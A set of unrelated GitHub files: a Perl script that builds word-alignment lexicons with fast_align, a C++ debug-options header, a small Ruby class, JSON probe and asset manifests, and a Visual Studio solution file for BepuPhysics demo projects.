my $BINDIR = "$Bin/bin";
my $SRC;
my $TRG;
my $OUTPUT = "lex";
my $THREADS = 8;
my $PARALLEL = 0;
my $HELP;
GetOptions(
"b|bindir=s" => \$BINDIR,
"s|source=s" => \$SRC,
"t|target=s" => \$TRG,
"o|output=s" => \$OUTPUT,
"threads=i" => \$THREADS,
"parallel" => \$PARALLEL,
"h|help" => \$HELP,
);
if($HELP) {
print "Usage: perl $0 -b bindir -s corpus.src -t corpus.tgt [-o outputprefix] [--threads 8] [--parallel]\n";
exit 0;
}
die "--bindir arg is required" if not defined $BINDIR;
die "-s|--source arg is required" if not defined $SRC;
die "-t|--target arg is required" if not defined $TRG;
die "-o|--output arg is required" if not defined $OUTPUT;
for my $app (qw(fast_align atools extract_lex)) {
die "Could not find $app in $BINDIR" if not -e "$BINDIR/$app";
}
my $TEMPDIR = tempdir(CLEANUP => 1);
my (undef, $CORPUS) = tempfile(DIR => $TEMPDIR);
my (undef, $ALN_S2T) = tempfile(DIR => $TEMPDIR);
my (undef, $ALN_T2S) = tempfile(DIR => $TEMPDIR);
my (undef, $ALN_GDF) = tempfile(DIR => $TEMPDIR);
execute("paste $SRC $TRG | sed 's/\\t/ ||| /' > $CORPUS");
my @COMMANDS = (
"OMP_NUM_THREADS=$THREADS $BINDIR/fast_align -vdo -i $CORPUS > $ALN_S2T",
"OMP_NUM_THREADS=$THREADS $BINDIR/fast_align -vdor -i $CORPUS > $ALN_T2S"
);
my @PIDS;
for my $c (@COMMANDS) {
if ($PARALLEL) {
my $pid = fork();
if (!$pid) {
execute($c);
exit(0);
} else {
push(@PIDS, $pid);
print "Forked process $pid\n";
}
} else {
execute($c);
}
}
if ($PARALLEL) {
waitpid($_, 0) foreach(@PIDS);
}
execute("$BINDIR/atools -c grow-diag-final -i $ALN_S2T -j $ALN_T2S > $ALN_GDF");
execute("$BINDIR/extract_lex $TRG $SRC $ALN_GDF $OUTPUT.s2t $OUTPUT.t2s");
sub execute {
my $command = shift;
logMessage("Executing:\t$command");
my $ret = system($command);
if ($ret != 0) {
logMessage("Command '$command' finished with return status $ret");
logMessage("Aborting and killing parent process");
kill(2, $PID);
die;
}
}
sub logMessage {
my $message = shift;
my $time = POSIX::strftime("%m/%d/%Y %H:%M:%S", localtime());
my $log_message = $time."\t$message\n";
print STDERR $log_message;
}
| {
"pile_set_name": "Github"
} |
#ifndef EMITTEROPTIONS_HPP_0NAXOILP
#define EMITTEROPTIONS_HPP_0NAXOILP
namespace IGC
{
struct DebugEmitterOpts {
bool isDirectElf = false;
bool UseNewRegisterEncoding = true;
bool EnableSIMDLaneDebugging = true;
bool EnableGTLocationDebugging = false;
bool EmitDebugRanges = false;
bool EmitDebugLoc = false;
bool EmitOffsetInDbgLoc = false;
};
}
#endif /* end of include guard: EMITTEROPTIONS_HPP_0NAXOILP */
| {
"pile_set_name": "Github"
} |
module FbGraph2
class Domain < Node
include Edge::Insights
register_attributes(
raw: [:name]
)
end
end | {
"pile_set_name": "Github"
} |
{
"network": [
[
"probeNetwork - default - end",
0,
0
],
[
"probeNetwork - default - start",
0,
0
]
],
"gfx": [
[
"probeGFX - default - end",
22,
15,
25,
1,
[
229376,
229376
],
[
390,
390
],
[
1152,
1152
]
]
]
} | {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"filename" : "espn.jpg",
"scale" : "1x"
},
{
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30223.230
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Demos", "Demos\Demos.csproj", "{C4C313CF-0BBD-407F-AC30-C5E889206F55}"
ProjectSection(ProjectDependencies) = postProject
{499C899F-CD56-476E-AFF8-85A8C29B19BF} = {499C899F-CD56-476E-AFF8-85A8C29B19BF}
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5} = {6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}
EndProjectSection
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DemoRenderer", "DemoRenderer\DemoRenderer.csproj", "{21058D92-EC74-4F70-98FF-D3D7D02A537E}"
ProjectSection(ProjectDependencies) = postProject
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5} = {6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}
EndProjectSection
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DemoContentLoader", "DemoContentLoader\DemoContentLoader.csproj", "{FABD2BE3-697B-4B57-85D0-1077A3198C5C}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DemoUtilities", "DemoUtilities\DemoUtilities.csproj", "{499C899F-CD56-476E-AFF8-85A8C29B19BF}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DemoContentBuilder", "DemoContentBuilder\DemoContentBuilder.csproj", "{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "BepuUtilities", "BepuUtilities\BepuUtilities.csproj", "{8D3FB6BE-2726-4479-8AF2-13F593314AC0}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "BepuPhysics", "BepuPhysics\BepuPhysics.csproj", "{5FBC743A-8911-4DE6-B136-C0B274E1B185}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DemoTests", "DemoTests\DemoTests.csproj", "{32BABF14-6971-41F8-A556-8E0F2D8C86B2}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|ARM = Debug|ARM
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|ARM = Release|ARM
Release|x64 = Release|x64
Release|x86 = Release|x86
ReleaseStrip|Any CPU = ReleaseStrip|Any CPU
ReleaseStrip|ARM = ReleaseStrip|ARM
ReleaseStrip|x64 = ReleaseStrip|x64
ReleaseStrip|x86 = ReleaseStrip|x86
ReleaseStripNoProfiling|Any CPU = ReleaseStripNoProfiling|Any CPU
ReleaseStripNoProfiling|ARM = ReleaseStripNoProfiling|ARM
ReleaseStripNoProfiling|x64 = ReleaseStripNoProfiling|x64
ReleaseStripNoProfiling|x86 = ReleaseStripNoProfiling|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|ARM.ActiveCfg = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|ARM.Build.0 = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|x64.ActiveCfg = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|x64.Build.0 = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|x86.ActiveCfg = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Debug|x86.Build.0 = Debug|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|Any CPU.Build.0 = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|ARM.ActiveCfg = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|ARM.Build.0 = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|x64.ActiveCfg = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|x64.Build.0 = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|x86.ActiveCfg = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.Release|x86.Build.0 = Release|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|Any CPU.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|Any CPU.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|ARM.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|ARM.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|x64.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|x64.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|x86.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStrip|x86.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|Any CPU.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|ARM.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|ARM.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|x64.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|x64.Build.0 = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|x86.ActiveCfg = ReleaseStrip|Any CPU
{C4C313CF-0BBD-407F-AC30-C5E889206F55}.ReleaseStripNoProfiling|x86.Build.0 = ReleaseStrip|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|ARM.ActiveCfg = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|ARM.Build.0 = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|x64.ActiveCfg = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|x64.Build.0 = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|x86.ActiveCfg = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Debug|x86.Build.0 = Debug|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|Any CPU.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|ARM.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|ARM.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|x64.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|x64.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|x86.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.Release|x86.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|Any CPU.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|Any CPU.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|ARM.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|ARM.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|x64.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|x64.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|x86.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStrip|x86.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|Any CPU.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|ARM.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|ARM.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|x64.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|x64.Build.0 = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|x86.ActiveCfg = Release|Any CPU
{21058D92-EC74-4F70-98FF-D3D7D02A537E}.ReleaseStripNoProfiling|x86.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|ARM.ActiveCfg = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|ARM.Build.0 = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|x64.ActiveCfg = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|x64.Build.0 = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|x86.ActiveCfg = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Debug|x86.Build.0 = Debug|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|Any CPU.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|ARM.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|ARM.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|x64.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|x64.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|x86.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.Release|x86.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|Any CPU.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|Any CPU.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|ARM.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|ARM.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|x64.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|x64.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|x86.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStrip|x86.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|Any CPU.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|ARM.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|ARM.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|x64.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|x64.Build.0 = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|x86.ActiveCfg = Release|Any CPU
{FABD2BE3-697B-4B57-85D0-1077A3198C5C}.ReleaseStripNoProfiling|x86.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|ARM.ActiveCfg = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|ARM.Build.0 = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|x64.ActiveCfg = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|x64.Build.0 = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|x86.ActiveCfg = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Debug|x86.Build.0 = Debug|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|Any CPU.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|ARM.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|ARM.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|x64.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|x64.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|x86.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.Release|x86.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|Any CPU.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|Any CPU.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|ARM.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|ARM.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|x64.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|x64.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|x86.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStrip|x86.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|Any CPU.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|ARM.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|ARM.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|x64.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|x64.Build.0 = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|x86.ActiveCfg = Release|Any CPU
{499C899F-CD56-476E-AFF8-85A8C29B19BF}.ReleaseStripNoProfiling|x86.Build.0 = Release|Any CPU
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|Any CPU.ActiveCfg = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|Any CPU.Build.0 = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|ARM.ActiveCfg = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|ARM.Build.0 = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|x64.ActiveCfg = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|x64.Build.0 = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|x86.ActiveCfg = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Debug|x86.Build.0 = Debug|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|Any CPU.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|Any CPU.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|ARM.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|ARM.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|x64.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|x64.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|x86.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.Release|x86.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|Any CPU.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|Any CPU.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|ARM.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|ARM.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|x64.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|x64.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|x86.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStrip|x86.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|Any CPU.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|ARM.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|ARM.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|x64.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|x64.Build.0 = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|x86.ActiveCfg = Release|x64
{6F7900A8-6B1A-41BB-BB2F-0348A527A2F5}.ReleaseStripNoProfiling|x86.Build.0 = Release|x64
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|ARM.ActiveCfg = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|ARM.Build.0 = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|x64.ActiveCfg = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|x64.Build.0 = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|x86.ActiveCfg = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Debug|x86.Build.0 = Debug|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|Any CPU.Build.0 = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|ARM.ActiveCfg = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|ARM.Build.0 = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|x64.ActiveCfg = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|x64.Build.0 = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|x86.ActiveCfg = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.Release|x86.Build.0 = Release|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|Any CPU.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|Any CPU.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|ARM.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|ARM.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|x64.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|x64.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|x86.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStrip|x86.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|Any CPU.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|ARM.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|ARM.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|x64.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|x64.Build.0 = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|x86.ActiveCfg = ReleaseStrip|Any CPU
{8D3FB6BE-2726-4479-8AF2-13F593314AC0}.ReleaseStripNoProfiling|x86.Build.0 = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|ARM.ActiveCfg = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|ARM.Build.0 = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|x64.ActiveCfg = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|x64.Build.0 = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|x86.ActiveCfg = Debug|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Debug|x86.Build.0 = Debug|Any CPU
